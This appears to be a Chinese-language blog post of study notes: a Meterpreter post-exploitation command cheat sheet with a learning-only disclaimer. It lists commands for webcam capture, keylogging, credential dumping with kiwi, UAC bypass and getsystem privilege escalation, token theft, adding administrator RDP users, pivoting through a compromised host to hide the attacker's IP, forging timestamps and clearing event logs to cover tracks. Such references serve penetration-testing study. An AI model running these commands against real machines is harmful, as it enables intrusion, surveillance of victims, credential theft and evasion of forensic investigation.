注意:本篇文章仅用于学习笔记记录与交流,不得用于其他违规用途。
一、Meterpreter简介
- Meterpreter 比系统 shell 更加灵活,功能更加丰富,例如监控主机,监控键盘,开启摄像头,麦克风,还可以灵活的获取你的操作系统信息。
- 高级,动态,可扩展的 payload,一站式后攻击 payload;
- 基于 meterpreter 上下文利用更多漏洞发起攻击;
- 后渗透测试阶段一站式操作界面;
- 完全基于内存的 DLL 注入式 payload(不写硬盘)
- 注入合法系统进程并建立 stager
- 基于 stager 上传和预加载 DLL 进行扩展模块的注入(客户端 API)
- 基于 stager 建立的 socket 连接建立加密的 TLS/1.0 通信隧道;
- 利用 TLS 隧道进一步加载后续扩展模块(避免网络取证
二、Meterpreter基本命令
1、系统命令
(1)基本系统命令
background #将当前会话放置后台,然后可以再运行其他模块进行提权
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息ps# 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机发呆(无操作)时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell
(2)uictl开关键盘/鼠标
uictl [enable/disable][keyboard/mouse/all]#开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘
(3)webcam摄像头命令
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
(4)执行exe文件
execute -f c:\\111.exe
execute -H -i -f calc.exe
# execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
(5)migrate进程迁移
getpid # 获取当前进程的pidps# 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中,kill <pid值> #杀死进程
(6)clearav清楚日志
clearev #清除windows中的应用程序日志、系统日志、安全日志,走的时候不要忘记
2、文件系统命令
(1)基础命令
getwd 或者pwd# 查看当前工作目录 ls# 查看当前路径下的内容
cd # 切换目录
search -f *host* # 搜索文件 -h查看帮助cat c:\\lltest\\lltestpasswd.txt # 查看文件内容
edit c:\\1.txt #编辑或创建文件 没有的话,会新建文件rm c:\\lltest\\hack.txt #删除文件
mkdir lltest2 #只能在当前目录下创建文件夹rmdir lltest2 #只能删除当前目录下文件夹
(2)上传文件
meterpreter > upload //root//daociyiyou.txt c:
[*] uploading : //root/daociyiyou.txt -> c:
[*] uploaded : //root/daociyiyou.txt -> c:\daociyiyou.txt
meterpreter > upload /tmp/1.txt c:
# 注意:使用-r参数可以递归上传上传目录和文件
(3)下载文件
meterpreter > download c:\\1.txt /tmp/
[*] Downloading: c:\hello.txt -> /root/hello.txt
[*] Downloaded 1.00 B of 1.00 B (100.0%): c:\hello.txt -> /root/hello.txt
[*] download : c:\hello.txt -> /root/hello.txt
(4)Timestomp伪造时间戳
timestomp C:\\ -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
timestomp C:\\1.txt -f C:\\Users\\Administrator\\Desktop\\test\\1.jpg
timestomp C:\\passwd.txt -f C:\\Users\\Administrator\\Desktop\\hj\\nginx-0.7.65\\nginx.exe
3、网络命令
(1)基本网络命令
ipconfig/ifconfig # 查看ip
netstat –an # 查看开放的端口
arp # arp探测
getproxy #查看代理信息
route #查看路由
(2)portfwd端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
(3)autoroute添加路由
run autoroute -h #查看帮助
run autoroute -s 192.168.159.0/24 #添加到目标环境网络,当你相连接一个网络发现不通的时候,可以设置一个路由试试,一般网络中没有设置围栏的情况下,是可以通的
run autoroute -p #查看添加的路由
(4)Socks4a代理
msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
然后
vim /etc/proxychains.conf
#添加
socks4 127.0.0.1 1080
,这样你kali里面所有的软件运行,攻击的手段都
是走的肉鸡的代理,就做到了隐藏自己真是ip的效果了
最后proxychains 使用Socks4a代理访问
4、提权
(1)getsystem提权
getsystem
getsystem工作原理:
①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动,导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。
(2)bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
如使用bypassuac.rb脚本:
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run
(3)内核漏洞提权
可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
5、kiwi获取密码
在msf6中mimikatz已经不可以用了,The “mimikatz” extension has been replaced by “kiwi”
load kiwi # help kiwi 查看帮助
creds_wdigest # 获取账号密码
6、远程桌面&截屏
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接
7、开启RDP&添加用户
(1)getgui命令
run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u test2 -p 123456.com #添加用户
run getgui -f 6661 #3389端口转发到6661
getgui 系统不推荐,推荐使用
run post/windows/manage/enable_rdp
getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆
(2)enable_rdp脚本
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=mhx PASSWORD=123456 #添加用户,默认会添加到管理员组
8、键盘记录
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
9、sniffer抓包
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包
10、令牌操纵
这个非常有用,比如说我们在一个企业的域控环境里面,我本身是一个普通用户可以通过假冒令牌伪造成管理员用户,然后不需要密码就能登录其他账号了
(1)incognito假冒令牌
use incognito #help incognito 查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM'#假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
或者直接shell
rev2self #返回原始token
(2)steal_token窃取令牌
先查看进程后面的token值,然后找到管理员的token,然后再通过pid获取他的token
steal_token <pid值> #从指定进程中窃取token 先ps
drop_token #删除窃取的token
版权归原作者 易水哲 所有, 如有侵权,请联系我们删除。